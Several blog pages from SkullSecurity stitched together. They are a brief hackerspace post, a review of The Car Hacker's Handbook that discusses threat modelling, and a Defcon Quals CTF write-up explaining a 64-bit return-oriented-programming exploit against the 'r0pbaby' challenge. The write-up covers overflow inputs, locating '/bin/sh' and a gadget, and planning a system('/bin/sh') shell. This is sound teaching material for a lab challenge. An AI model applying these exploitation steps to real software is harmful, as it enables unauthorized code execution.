    Hey everybody, This is just a super quick post today to direct you here - http://www.skullspace.ca/blog/2012/11/skullspace-2-0-the-new-frontier/. That's a post I wrote about SkullSpace - the hackerspace that me and several others helped found a couple years ago. We went down a "too good to be true" road, where we had a ton of space and […]

    #####EOF##### April » 2011 » SkullSecurity

    Locks that can re-key themselves?

    Hey everybody, As I'm sure you all know, I normally post about IT security here. But, once in awhile, I like to take a look at physical security, even if it's just in jest. Well, this time it isn't in jest. I was at Rona last week buying a lead/asbestos/mold-rated respirator (don't ask!), when I […]

    #####EOF##### Book review: The Car Hacker’s Handbook » SkullSecurity


    Book review: The Car Hacker’s Handbook

    So, this is going to be a bit of an unusual blog for me. I usually focus on technical stuff, exploitation, hacking, etc. But this post will be a mixture of a book review, some discussion on my security review process, and whatever asides fall out of my keyboard when I hit it for long enough. But, don't fear! I have a nice heavy technical blog ready to go for tomorrow!

    Introduction

    Let's kick this off with some pointless backstory! Skip to the next <h1> heading if you don't care how this blog post came about. :)

    So, a couple years ago, I thought I'd give Audible a try, and read (err, listen to) some Audiobooks. I was driving from LA to San Francisco, and picked up a fiction book (one of Terry Pratchett's books in the Tiffany Aching series). I hated it (the audio experience), but left Audible installed and my account active.

    A few months ago, on a whim, I figured I'd try a non-fiction book. I picked up NOFX's book, "The Hepatitis Bathtub and Other Stories". It was read by the band members and it was super enjoyable to listen while walking and exercising! And, it turns out, Audible had been giving me credits for some reason, and I have like 15 free books or something that I've been consuming like crazy.

    Since my real-life friends are sick of listening to me talk about all books I'm reading, I started amusing myself by posting mini-reviews on Facebook, which got some good feedback.

    That got me thinking: writing book reviews is kinda fun!

    Then a few days ago, I was talking to a publisher friend at Rocky Mountain books , and he mentioned how he there's a reviewer who they sent a bunch of books to, and who didn't write any reviews. My natural thought was, "wow, what a jerk!".

    Then I remembered: I'd promised No Starch that I'd write about The Car Hacker's Handbook like two years ago, and totally forgot. Am I the evil scientist jerk?

    So now, after re-reading the book, you get to hear my opinions. :)

    Threat Models

    I've never really written about a technical book before, at least, not to a technical audience. So bear with this stream-of-consciousness style. :)

    I think my favourite part of the book is the layout. When writing a book about car hacking to a technical audience, there's always a temptation to start with the "cool stuff" - protocols, exploits, stuff like that. It's also easy to forget about the varied level of your audience, and to assume knowledge. Since I have absolutely zero knowledge about car hacking (or cars, for that matter; my proudest accomplishment is filling the washer fluid by the third try and pulling up to the correct side of the gas pumps), I was a little worried.

    At my current job (and previous one), I do product security reviews. I go through the cycle of: "here's something you've never seen before: ramp up, become an expert, and give us good advice. You have one week". If you ever have to do this, here's my best advice: just ask the engineers where they think the security problems are. In 5 minutes of casual conversation, you can find all the problems in a system and look like a hero. I love engineers. :)

    But what happens when the engineers don't have security experience, or take an adversarial approach? Or when you want a more thorough / complete review?

    That's how I learned to make threat models! Threat models are simply a way to discover the "attack surface", which is where you need to focus your attention as a reviewer (or developer). If you Google the term, you'll find lots of technical information on the "right way" to make a threat model. You might hear about STRIDE (spoofing/tampering/repudiation/information disclosure/denial of service/escalation of privileges). When I tried to use that, I tended to always get stuck on the same question: "what the heck IS 'repudiation', anyways?".

    But yeah, that doesn't really matter. I use STRIDE to help me come up with questions and scenarios, but I don't do anything more formal than that.

    If you are approaching a new system, and you want a threat model, here's what you do: figure out (or ask) what the pieces are, and how they fit together. The pieces could be servers, processes, data levels, anything like that; basically, things with a different "trust level", or things that shouldn't have full unfettered access to each other (read, or write, or both).

    Once you have all that figured out, look at each piece and each connection between pairs of pieces and try to think of what can go wrong. Is plaintext data passing through an insecure medium? Is the user authentication/authorization happening in the right place? Is the traffic all repudiatable (once we figure out what that means)? Can data be forged? Or changed?

    It doesn't have to be hard. It doesn't have to match any particular standard. Just figure out what the pieces are and where things can go wrong. If you start there, the rest of a security review is much, much easier for both you and the engineers you're working with. And speaking of the engineers: it's almost always worth the time to work together with engineers to develop a threat model, because they'll remember it next time.

    Anyway, getting back to the point: that's the exact starting point that the Car Hacker's Handbook takes! The very first chapter is called "Understanding Threat Models". It opens by taking a "bird's eye view" of a car's systems, and talking about the big pieces: the cellular receiver, the Bluetooth, the wifi, the "infotainment" console, and so on. All these pieces that I was vaguely aware of in my car, but didn't really know the specifics of.

    It then breaks them down into the protocols they use, what the range is, and how they're parsed. For example, the Bluetooth is "near range", and is often handled by "Bluez". USB is, obviously, a cable connection, and is typically handled by udev in the kernel. And so on.

    Then they look at the potential threats: remotely taking over a vehicle, unlocking it, stealing it, tracking it, and so on.

    For every protocol, it looks at every potential threat and how it might be affected.

    This is the perfect place to start! The authors made the right choice, no doubt about it!

    (Sidenote: because the rule of comedy is that 3 references to something is funnier than 2, and I couldn't find a logical third place to mention it, I just want to say "repudiation" again.)

    Protocols

    If you read my blog regularly, you know that I love protocols. The reason I got into information security in the first place was by reverse engineering Starcraft's game protocol and implementing and documenting it (others had reversed it before, but nobody had published the information).

    So I found the section on protocols intriguing! It's not like the olden days, when every protocol was custom and proprietary and weird: most of the protocols are well documented, and it just requires the right hardware to interface with it.

    I don't want to dwell on this too much, but the book spends a TON of time talking about how to find physical ports, sniff protocols, understand what you're seeing, and figure out how to do things like unlock your doors in a logical, step-by-step manner. These protocols are all new to me, but I loved the logical approach that they took throughout the protocol chapters. For somebody like me, having no experience with car hacking or even embedded systems, it was super easy to follow and super informative!

    It's good enough that I wanted to buy a new car just so I could hack it. Unfortunately, my accountant didn't think I'd be able to write it off as a business expense. :(

    Attacks

    After going over the protocols, the book moves to attacks. I had just taken a really good class on hardware exploitation, and many of the same principles applied: dumping firmware, reverse engineering it, and exploring the attack surfaces.

    Not being a hardware guy, I don't really want to attempt to reproduce this part in any great detail. It goes into a ton of detail on building out a lab, exploring attack surfaces (like the "infotainment" system, vehicle-to-vehicle communication, and even using SDR (software defined radio) to eavesdrop and inject into the wireless communication streams).

    Conclusion

    So yeah, this book is definitely well worth the read!

    The progression is logical, and it's an incredible introduction, even for somebody with absolutely no knowledge of cars or embedded systems!

    Also: I'd love to hear feedback on this post! I'm always looking for new things to write about, and if people legitimately enjoy hearing about the books I read, I'll definitely do more of this!

    3 thoughts on “Book review: The Car Hacker’s Handbook

    1. Reply

      Alessandro Stamatto

      Fun post/review! I think my Car is too old to be hacked ?.

      For posts suggestions: I like book reviews! Another topic that I'm curious is how to reverse Game Network Protocols. It seems very hard (Crypto, server challanges, anti-reversing rootkits...)

    2. Reply

      CapitanShinChan

      Nice post! Waiting for the 2nd part.

      As Alessandro Said, I would also love to know more about "game hacking". Probably I would buy the nostarch book (https://www.nostarch.com/gamehacking) next month and start reverse engineering some games (so I can improve my radare skills).

    3. Reply

      Grazfather

      Good post. I also appreciated the approach that started with making a 'formal' threat model.

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### Defcon Quals: r0pbaby (simple 64-bit ROP) » SkullSecurity


    Defcon Quals: r0pbaby (simple 64-bit ROP)

    This past weekend I competed in the Defcon CTF Qualifiers from the Legit Business Syndicate. In the past it's been one of my favourite competitions, and this year was no exception!

    Unfortunately, I got stuck for quite a long time on a 2-point problem ("wwtw") and spent most of my weekend on it. But I did do a few others - r0pbaby included - and am excited to write about them, as well!

    r0pbaby is neat, because it's an absolute bare-bones ROP (return-oriented programming) level. Quite honestly, when it makes sense, I actually prefer using a ROP chain to using shellcode. Much of the time, it's actually easier! You can see the binary, my solution, and other stuff I used on this github repo.

    It might make sense to read a post I made in 2013 about a level in PlaidCTF called ropasaurusrex. But it's not really necessary - I'm going to explain the same stuff again with two years more experience!

    What is ROP?

    Most modern systems have DEP - data execution prevention - enabled. That means that when trying to run arbitrary code, the code has be in memory that's executable. Typically, when a process is running, all memory segments are either writable (+w) or executable (+x) - not both. That's sometimes called "W^X", but it seems more appropriate to just call it common sense.

    ROP - return-oriented programming - is an exploitation technique that bypasses DEP. It does that by chaining together legitimate code that's already in executable memory. This requires the attacker to either a) have complete control of the stack, or b) have control of rip/eip (the instruction pointer register) and the ability to change esp/rsp (the stack pointer) to point to another buffer.

    As a quick example, let's say you overwrite the return address of a vulnerable function with the address of libc's sleep() function. When the vulnerable function attempts to return, instead of returning to where it's supposed to (or returning to shellcode), it'll return to the first line of sleep().

    On a 32-bit system, sleep() will look at the next-to-next value on the stack to find out how long to sleep(). On a 64-bit system, it'll look at the value of the rdi register for its argument, which is a little more elaborate to set up. When it's done, it'll return to the next value on the stack on both architectures, which could very well be another function.

    So basically, sleep() expects its stack to look like on 32-bit:

    +----------------------+
    |...higher addresses...|
    +----------------------+
    |         1000         | <-- sleep() looks here for its param (on 32-bit)
    +----------------------+
    |     [return addr]    | <-- where esp will be when sleep() is entered
    +----------------------+
    |    [sleep's  addr]   | <-- return addr of previous function
    +----------------------+
    |...lower addresses....| <-- other data from previous function
    +----------------------+
    

    And on 64-bit:

    +----------------------+
    |...higher addresses...|
    +----------------------+ <-- sleep()'s param is in rdi, so it's not needed here
    |     [return addr]    | <-- where rsp will be when sleep() is entered
    +----------------------+
    |    [sleep's  addr]   | <-- return addr of previous function
    +----------------------+
    |...lower addresses....| <-- other data from previous function
    +----------------------+
    

    We'll dive into deeper detail of how to set this up and see way more stack diagrams shortly. But let's start from the beginning!

    Taking a first look

    When you run r0pbaby, or connect to their service, you will see a prompt (the program uses stdin/stdout for i/o):

    $ ./r0pbaby
    
    Welcome to an easy Return Oriented Programming challenge...
    Menu:
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    :
    

    It's worthwhile messing with the options a bit to get a feel for it:

    $ ./r0pbaby
    
    Welcome to an easy Return Oriented Programming challenge...
    Menu:
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : 1
    libc.so.6: 0x00007FFFF7FF8B28
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : 2
    Enter symbol: system
    Symbol system: 0x00007FFFF7883960
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : 2
    Enter symbol: printf
    Symbol printf: 0x00007FFFF7892F10
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : 3
    Enter bytes to send (max 1024): hello???
    Invalid amount.
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    :
    

    We'll look at option 3 more in a little while, but for now let's take a quick look at options 1 and 2. The rest of this section isn't directly applicable to the exploitation stuff, so you're free to skip it if you want. :)

    If you look at the results from option 1 and option 2, you'll see one strange thing: the return from "Get libc address" is higher than the addresses of printf() and system(). It also isn't page aligned (a multiple of 0x1000 (4096), usually), so it almost certainly isn't actually the base address (which, in fairness, the level doesn't explicitly say it is).

    I messed around a bit out of curiosity. Here's what I discovered...

    First, run the program in gdb and get the address that they claim is libc:

    $ gdb -q ./r0pbaby
    Reading symbols from ./r0pbaby...(no debugging symbols found)...done.
    (gdb) run
    Starting program: /home/ron/defcon-quals/r0pbaby/r0pbaby
    
    Welcome to an easy Return Oriented Programming challenge...
    Menu:
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : 1
    libc.so.6: 0x00007FFFF7FF8B28
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    

    So that's what it returns: 0x00007FFFF7FF8B28. Now we use ctrl-c to break into the debugger and figure out the real base address:

    : ^C
    Program received signal SIGINT, Interrupt.
    0x00007ffff791e5e0 in __read_nocancel () from /lib64/libc.so.6
    (gdb) info proc map
    process 5475
    Mapped address spaces:
    
              Start Addr           End Addr       Size     Offset objfile
          0x555555554000     0x555555556000     0x2000        0x0 /home/ron/defcon-quals/r0pbaby/r0pbaby
          0x555555755000     0x555555757000     0x2000     0x1000 /home/ron/defcon-quals/r0pbaby/r0pbaby
          0x555555757000     0x555555778000    0x21000        0x0 [heap]
          0x7ffff7842000     0x7ffff79cf000   0x18d000        0x0 /lib64/libc-2.20.so
          0x7ffff79cf000     0x7ffff7bce000   0x1ff000   0x18d000 /lib64/libc-2.20.so
          0x7ffff7bce000     0x7ffff7bd2000     0x4000   0x18c000 /lib64/libc-2.20.so
          0x7ffff7bd2000     0x7ffff7bd4000     0x2000   0x190000 /lib64/libc-2.20.so
    [...]
    

    This tells us that the actual address where libc is loaded is 0x7ffff7842000. Theirs was definitely wrong!

    On a Linux system, the first 4 bytes at the base address will usually be "\x7fELF" or "\x7f\x45\x4c\x46". We can check the first four bytes at the actual base address to verify:

    (gdb) x/8xb 0x7ffff7842000
    0x7ffff7842000: 0x7f    0x45    0x4c    0x46    0x02    0x01    0x01    0x00
    (gdb) x/8xc 0x7ffff7842000
    0x7ffff7842000: 127 '\177'      69 'E'  76 'L'  70 'F'  2 '\002'        1 '\001'        1 '\001'        0 '\000'
    

    And we can check the base address that the program tells us:

    (gdb) x/8xb 0x00007FFFF7FF8B28
    0x7ffff7ff8b28: 0x00    0x20    0x84    0xf7    0xff    0x7f    0x00    0x00
    

    From experience, that looks like a 64-bit address to me (6 bytes long, starts with 0x7f if you read it in little endian), so I tried print it as a 64-bit value:

    (gdb) x/xg 0x00007FFFF7FF8B28
    0x7ffff7ff8b28: 0x00007ffff7842000
    

    Aha! It's a pointer to the actual base address! It seems a little odd to send that to the user, it does them basically no good, so I'll assume that it's a bug. :)

    Stealing libc

    If there's one thing I hate, it's attacking a level blind. Based on the output so far, it's pretty clear that they're going to want us to call a libc function, but they don't actually give us a copy of libc.so! While it's not strictly necessary, having a copy of libc.so makes this far easier.

    I'll post more details about how and why to steal libc in a future post, but for now, suffice to stay: if you can, beat the easiest 64-bit level first (like babycmd) and liberate a copy of libc.so. Also snag a 32-bit version of libc if you can find one. Believe me, you'll be thankful for it later! To make it possible to follow the rest of this post, here's libc-2.19.so from babycmd and here's libc-2.20.so from my box, which is the one I'll use for this writeup.

    You might be wondering how to verify whether or not that actually IS the right library. For now, let's consider that to be homework. I'll be writing more about that in the future, I promise!

    Find a crash

    I played around with option 3 for awhile, but it kept giving me a length error. So I used the best approach for annoying CTF problems: I asked a teammate who'd already solved that problem. He'd reverse engineered the function already, saving me the trouble. :)

    It turns out that the correct way to format things is by sending a length, then a newline, then the payload:

    $ ./r0pbaby
    
    Welcome to an easy Return Oriented Programming challenge...
    Menu:
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : 3
    Enter bytes to send (max 1024): 20
    AAAAAAAAAAAAAAAAAAAA
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : Bad choice.
    Segmentation fault
    

    Well, that may be one of the easiest ways I've gotten a segfault! But the work isn't quite done. :)

    rip control

    Our first goal is going to be to get control of rip (that's like eip, the instruction pointer, but on a 64-bit system). As you probably know by now, rip is the register that points to the current instruction being executed. If we move it, different code runs. The classic attack is to move eip to point at shellcode, but ROP is different. We want to carefully control rip to make sure it winds up in all the right places.

    But first, let's non-carefully control it!

    The program indicates that it's writing the r0p buffer to the stack, so the easiest thing to do is probably to start throwing stuff into the buffer to see what happens. I like to send a string with a series of values I'll recognize in a debugger. Since it's a 64-bit app, I send 8 "A"s, 8 "B"s, and so on. If it doesn't crash. I send more.

    $ gdb -q ./r0pbaby
    (gdb) run
    
    [...]
    
    : 3
    Enter bytes to send (max 1024): 32
    AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : Bad choice.
    
    Program received signal SIGSEGV, Segmentation fault.
    0x0000555555554eb3 in ?? ()
    

    All right, it crashes at 0x0000555555554eb3. Let's take a look at what lives at the current instruction (pro-tip: "x/i $rip" or equivalent is basically always the first thing I run on any crash I'm investigating):

    (gdb) x/i $rip
    => 0x555555554eb3:      ret
    

    It's crashing while attempting to return! That generally only happens when either the stack pointer is messed up...

    (gdb) print/x $rsp
    $1 = 0x7fffffffd918
    

    ...which it doesn't appear to be, or when it's trying to return to a bad address...

    (gdb) x/xg $rsp
    0x7fffffffd918: 0x4242424242424242
    

    ...which it is! It's trying to return to 0x4242424242424242 ("BBBBBBBB"), which is an illegal address (the first two bytes have to be zero on a 64-bit system).

    We can confirm this, and also prove to ourselves that NUL bytes are allowed in the input, by sending a couple of NUL bytes. I'm switching to using 'echo' on the commandline now, so I can easily add NUL bytes (keep in mind that because of little endian, the NUL bytes have to go after the "B"s, not before):

    $ ulimit -c unlimited
    $ echo -ne '3\n32\nAAAAAAAABBBBBB\0\0CCCCCCCCDDDDDDDD\n' | ./r0pbaby
    [...]
    Segmentation fault (core dumped)
    $ gdb ./r0pbaby ./core
    [...]
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x0000424242424242 in ?? ()
    

    Now we can see that rip was successfully set to 0x0000424242424242 ("BBBBBB\0\0" because of little endian)!

    How's the stack work again?

    As I said at the start, reading my post about ropasaurusrex would be a good way to get acquainted with ROP exploits. If you're pretty comfortable with stacks or you've recently read/understood that post, feel free to skip this section!

    Let's start by talking about 32-bit systems - where parameters are passed on the stack instead of in registers. I'll explain how to deal with register parameters in 64-bit below.

    Okay, so: a program's stack is a run-time structure that holds temporary values that functions need. Things like the parameters, the local variables, the return address, and other stuff. When a function is called, it allocates itself some space on the stack by growing downward (towards lower memory addresses) When the function returns, the data's all removed from the stack (it's not actually wiped from memory, it just becomes free to get overwritten). The register rsp always points to the most recent thing pushed to the stack and the next thing that would be popped off the stack.

    Let's use sleep() as an example again. You call sleep() like this:

    1: push 1000
    2: call sleep
    

    or like this:

    1. mov [esp], 1000
    2: call sleep
    

    They're identical, as far as sleep() is concerned. The first is a tiny bit more memory efficient and the second is a tiny bit faster, but that's about it.

    Before line 1, we don't know or care what's on the stack. We can look at it like this (I'm choosing completely arbitrary addresses so you can match up diagrams with each other):

           +----------------------+
           |...higher addresses...|
           +----------------------+
    0x1040 |     (irrelevant)     |
           +----------------------+
    0x103c |     (irrelevant)     |
           +----------------------+
    0x1038 |     (irrelevant)     | <-- rsp
           +----------------------+
    0x1034 |       (unused)       |
           +----------------------+
    0x1030 |       (unused)       |
           +----------------------+
           |...lower addresses....|
           +----------------------+
    

    Values lower than rsp are unused. That means that as far as the stack's concerned, they're unallocated. They might be zero, or they might contain values from previous function calls. In a properly working system, they're never read. If they're accidentally used (like if somebody declares a variable but forgets to initialize it), you could wind up with a use-after-free vulnerability or similar.

    The value that rsp is pointing to and the values above it (at higher addresses) also don't really matter. They're part of the stack frame for the function that's calling sleep(), and sleep() doesn't care about those. It only cares about its own stack frame (a stack frame, as we'll see, is the parameters, return address, saved registers, and local variables of a function - basically, everything the function stores on the stack and everything it cares about on the stack).

    Line 1 pushes 1000 onto the stack. The frame will then look like this:

           +----------------------+
           |...higher addresses...|
           +----------------------+
    0x103c |     (irrelevant)     |
           +----------------------+
    0x1038 |     (irrelevant)     | <-- stuff from the previous function
           +----------------------+
           +----------------------+ <-- start of sleep()'s stack frame
    0x1034 |         1000         | <-- rsp
           +----------------------+
    0x1030 |       (unused)       |
           +----------------------+
           |...lower addresses....|
           +----------------------+
    

    When you call the function at line 2, it pushes the return address onto the stack, like this:

           +----------------------+
           |...higher addresses...|
           +----------------------+
    0x1038 |     (irrelevant)     |
           +----------------------+
           +----------------------+ <-- start of sleep()'s stack frame
    0x1034 |         1000         |
           +----------------------+
    0x1030 |     [return addr]    | <-- rsp
           +----------------------+
    0x102c |       (unused)       |
           +----------------------+
    0x1028 |       (unused)       |
           +----------------------+
    0x1024 |       (unused)       |
           +----------------------+
           |...lower addresses....|
           +----------------------+
    

    Note how rsp has moved from 0x1038 to 0x1034 to 0x1030 as stuff is added to the stack. But it always points to the last thing added!

    Let's look at how sleep() might be implemented. This is a very common function prelude:

    100; sleep():
    101: push rbp
    102: mov rbp, rsp
    103: sub rsp, 0x20
    104: ...everything else...

    (Note that those are line numbers for reference, not actual addresses, so please don't get upset that the values don't increment enough :) )

    At line 100, the old frame pointer is saved to the stack:

           +----------------------+
           |...higher addresses...|
           +----------------------+
    0x1038 |     (irrelevant)     |
           +----------------------+
           +----------------------+ <-- start of sleep()'s stack frame
    0x1034 |         1000         |
           +----------------------+
    0x1030 |     [return addr]    |
           +----------------------+
    0x102c |     [saved frame]    | <-- rsp
           +----------------------+
    0x1028 |       (unused)       |
           +----------------------+
    0x1024 |       (unused)       |
           +----------------------+
    0x1020 |       (unused)       |
           +----------------------+
           |...lower addresses....|
           +----------------------+
    

    Then at line 102, nothing on the stack changes. On line 103, 0x20 is subtracted from esp, which effectively reserves 0x20 (32) bytes for local variables:

           +----------------------+
           |...higher addresses...|
           +----------------------+
    0x1038 |     (irrelevant)     |
           +----------------------+
           +----------------------+ <-- start of sleep()'s stack frame
    0x1034 |         1000         |
           +----------------------+
    0x1030 |     [return addr]    |
           +----------------------+
    0x102c |     [saved frame]    |
           +----------------------+
           |                      |
    0x1028 |                      |
       -   |     [local vars]     | <-- rsp
    0x1008 |                      |
           |                      |
           +----------------------+ <-- end of sleep()'s stack frame
           +----------------------+
    0x1004 |       (unused)       |
           +----------------------+
    0x1000 |       (unused)       |
           +----------------------+
           |...lower addresses....|
           +----------------------+
    

    And that's the entire stack frame for the sleep(0 function call! It's possible that there are other registers preserved on the stack, in addition to rbp, but that doesn't really change anything. We only care about the parameters and the return address.

    If sleep() calls a function, the same process will happen:

           +----------------------+
           |...higher addresses...|
           +----------------------+
    0x1038 |     (irrelevant)     |
           +----------------------+
           +----------------------+ <-- start of sleep()'s stack frame
    0x1034 |         1000         |
           +----------------------+
    0x1030 |     [return addr]    |
           +----------------------+
    0x102c |     [saved frame]    |
           +----------------------+
           |                      |
    0x1028 |                      |
       -   |     [local vars]     |
    0x1008 |                      |
           |                      |
           +----------------------+ <-- end of sleep()'s stack frame
           +----------------------+ <-- start of next function's stack frame
    0x1004 |       [params]       |
           +----------------------+
    0x1000 |     [return addr]    |
           +----------------------+
    0x0ffc |     [saved frame]    |
           +----------------------+
           |                      |
    0x0ffc |                      |
       -   |     [local vars]     |
    0x0fb4 |                      |
           |                      |
           +----------------------+ <-- end of next function's stack frame
           +----------------------+
    0x0fb0 |       (unused)       |
           +----------------------+
    0x0fac |       (unused)       |
           +----------------------+
           |...lower addresses....|
           +----------------------+
    

    And so on, with the stack constantly growing towards lower addresses. When the function returns, the same thing happens in reverse order (the local vars are removed from the stack by adding to rsp (or replacing it with rbp), rbp is popped off the stack, and the return address is popped and returned to).

    The parameters are cleared off the stack by either the caller or callee, depending on the compiler, but that won't come into play for this writeup. However, when ROP is used to call multiple functions, unless the function clean up their own parameters off the stack, the exploit developer has to do it themselves. Typically, on Windows functions clean up after themselves but on other OSes they don't (but you can't rely on that). This is done by using a "pop ret", "pop pop ret", etc., after each function call. See my ropasaurusrex writeup for more details.

    Enter: 64-bit

    The fact that this level is 64-bit complicates things in important ways (and ways that I always seem to forget about till things don't work).

    Specifically, in 64-bit, the first handful of parameters to a function are passed in registers, not on the stack. I don't have the order of registers memorized - I forget it after every CTF, along with whether ja/jb or jl/jg are the unsigned ones - but the first two are rdi and rsi. That means that to call the same sleep() function on 64-bit, we'd have this code instead:

    1: mov rdi, 1000
    2: call sleep
    

    And its stack frame would look like this:

           +----------------------+
           |...higher addresses...|
           +----------------------+ <-- start of previous function's stack frame
           +----------------------+ <-- start of sleep()'s stack frame
    0x1030 |     [return addr]    |
           +----------------------+
    0x102c |     [saved frame]    |
           +----------------------+
           |                      |
    0x1028 |                      |
       -   |     [local vars]     |
    0x1008 |                      |
           |                      |
           +----------------------+ <-- end of sleep()'s stack frame
           +----------------------+
           |...lower addresses....|
           +----------------------+
    

    No parameters, just the return address, saved frame pointer, and local variables. It's exceedingly rare for the stack to be used for parameters on 64-bit.

    Stacks: the important bit

    Okay, so that's a stack frame. A stack frame contains parameters, return address, saved registers, and local variables. On 64-bit, it usually contains the return address, saved registers, and local variables (no parameters).

    But here's the thing: when you enter a function - that is to say, when you start running the first line of the function - the function doesn't really know where you came from. I mean, not really. It knows the return address that's on the stack, but doesn't really have a way to validate that it's real (except with advanced exploitation mitigations). It also knows that there are some parameters right before (at higher addresses than) the return address, if it's 32-bit. Or that rdi/rsi/etc. contain parameters if it's 64-bit.

    So let's say you overwrote the return address on the stack and returned to the first line of sleep(). What's it going to do?

    As we saw, on 64-bit, sleep() expects its stack frame to contain a return address:

    +----------------------+
    |...higher addresses...|
    +----------------------+
    +----------------------+ <-- start of sleep()'s stack frame
    |     [return addr]    | <-- rsp
    +----------------------+
    |     (unallocated)    |
    +----------------------+
    |...lower addressess...|
    +----------------------+
    

    sleep() will push some registers, make room for local variables, and really just do its own thing. When it's all done, it'll grab the return address from the stack, return to it, and somebody will move rsp back to the calling function's stack frame (it, getting rid of the parameters from the stack).

    Using system()

    Because this level uses stdout and stdin for i/o, all we really have to do is make this call:

    system("/bin/sh")
    

    Then we can run arbitrary commands. Seems pretty simple, eh? We don't even care where system() returns to, once it's done the program can just crash!

    You just have to do two things:

    1. set rip to the address of system()
    2. set rdi to a pointer to the string "/bin/sh" (or just "sh" if you prefer)

    Setting rip to the address of system() is easy. We have the address of system() and we have rip control, as we discovered. It's just a matter of grabbing the address of system() and using that in the overflow.

    Setting rdi to the pointer to "/bin/sh" is a little more problematic, though. First, we need to find the address of "/bin/sh" somehow. Then we need a "gadget" to put it in rdi. A "gadget", in ROP, refers to a small piece of code that performs an operation then returns.

    It turns out, all of the above can be easily done by using a copy of libc.so. Remember how I told you it'd come in handy?

    Finding "/bin/sh"

    So, this is actually pretty easy. We need to find "/bin/sh" given a) the ability to leak an address in libc.so (which this program does by design), and b) a copy of libc.so. Even with ASLR turned on, any two addresses within the same binary (like within libc.so or within the binary itself) won't change their relative positions to each other. Addresses in two different binaries will likely be different, though.

    If you fire up IDA, and go to the "strings" tab (shift-F12), you can search for "/bin/sh". You'll see that "/bin/sh" will have an address something like 0x7ffff6aa307c.

    Alternatively, you can use this gdb command (helpfully supplied by bla from io.sts):

    (gdb) find /b 0x7ffff7842000,0x7ffff7bd4000, '/','b','i','n','/','s','h'
    0x7ffff79a307c
    warning: Unable to access 16000 bytes of target memory at 0x7ffff79d5d03, halting search.
    1 pattern found.
    (gdb) x/s 0x7ffff79a307c
    0x7ffff79a307c: "/bin/sh"
    

    Once you've obtained the address of "/bin/sh", find the address of any libc function - we'll use system(), since system() will come in handy later. The address will be something like 0x00007ffff6983960. If you subtract the two addresses, you'll discover that the address of "/bin/sh" is 0x11f71c bytes after the address of system(). As I said earlier, that won't change, so we can reliably use that in our exploit.

    Now when you run the program:

    $ ./r0pbaby
    
    Welcome to an easy Return Oriented Programming challenge...
    Menu:
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : 2
    Enter symbol: system
    Symbol system: 0x00007FFFF7883960
    

    You can easily calculate that the address of the string "/bin/sh" will be at 0x00007ffff7883960 + 0x11f71c = 0x7ffff79a307c.

    Getting "/bin/sh" into rdi

    The next thing you'll want to do is put "/bin/sh" into rdi. We can do that in two steps (recall that we have control of the stack - it's the point of the level):

    1. Put it on the stack
    2. Find a "pop rdi" gadget

    To do this, I literally searched for "pop rdi" in IDA. With the spaces and everything! :)

    I found this in both my own copy of libc and the one I stole from babycmd:

    .text:00007FFFF80E1DF1                 pop     rax
    .text:00007FFFF80E1DF2                 pop     rdi
    .text:00007FFFF80E1DF3                 call    rax
    

    What a beautiful sequence! It pops the next value of the stack into rax, pops the next value into rdi, and calls rax. So it calls an address from the stack with a parameter read from the stack. It's such a lovely gadget! I was surprised and excited to find it, though I'm sure every other CTF team already knew about it. :)

    The absolute address that IDA gives us is 0x00007ffff80e1df1, but just like the "/bin/sh" string, the address relative to the rest of the binary never changes. If you subtract the address of system() from that address, you'll get 0xa7969 (on my copy of libc).

    Let's look at an example of what's actually going on when we call that gadget. You're at the end of main() and getting ready to return. rsp is pointing to what it thinks is the return address, but is really "BBBBBBBB"-now-gadget_addr:

    +----------------------+
    |...higher addresses...|
    +----------------------+
    |       DDDDDDDD       |
    +----------------------+
    |       CCCCCCCC       |
    +----------------------+
    |  0x00007ffff80e1df1  | <-- rsp
    +----------------------+
    |       AAAAAAAA       |
    +----------------------+
    |...lower addresses....|
    +----------------------+
    

    When the return happens, it looks like this:

    +----------------------+
    |...higher addresses...|
    +----------------------+
    |       DDDDDDDD       |
    +----------------------+
    |       CCCCCCCC       | <-- rsp
    +----------------------+
    |  0x00007FFFF80E1DF1  |
    +----------------------+
    |       AAAAAAAA       |
    +----------------------+
    |...lower addresses....|
    +----------------------+
    

    The first instruction - pop rax - runs. rax is now 0x4343434343434343 ("CCCCCCCC").

    The second instruction - pop rdi - runs. rdi is now 0x4444444444444444 ("DDDDDDDD").

    Then the final instruction - call rax - is called. It'll attempt to call 0x4343434343434343, with 0x4444444444444444 as its parameter, and crash. Controlling both the called address and the parameter is a huge win!

    Putting it all together

    I realize this is a lot to take in if you can't read stacks backwards and forwards (trust me, I frequently read stacks backwards - in fact, I wrote this entire blog post with upside-down stacks before I noticed and had to go back and fix it! :) ).

    Here's what we have:

    • The ability to write up to 1024 bytes onto the stack
    • The ability to get the address of system()
    • The ability to get the address of "/bin/sh", based on the address of system()
    • The ability to get the address of a sexy gadget, also based on system(), that'll call something from the stack with a parameter from the stack

    We're overflowing a local variable in main(). Immediately before our overflow, this is what main()'s stack frame probably looks like:

    +----------------------+
    |...higher addresses...|
    +----------------------+ <-- start of main()'s stack frame
    |         argv         |
    +----------------------+
    |         argc         |
    +----------------------+
    |     [return addr]    | <-- return address of main()
    +----------------------+
    |     [saved frame]    | <-- overflowable variable must start here
    +----------------------+
    |                      |
    |                      |
    |     [local vars]     | <-- rsp
    |                      |
    |                      |
    +----------------------+ <-- end of main()'s stack frame
    |...lower addresses....|
    +----------------------+
    

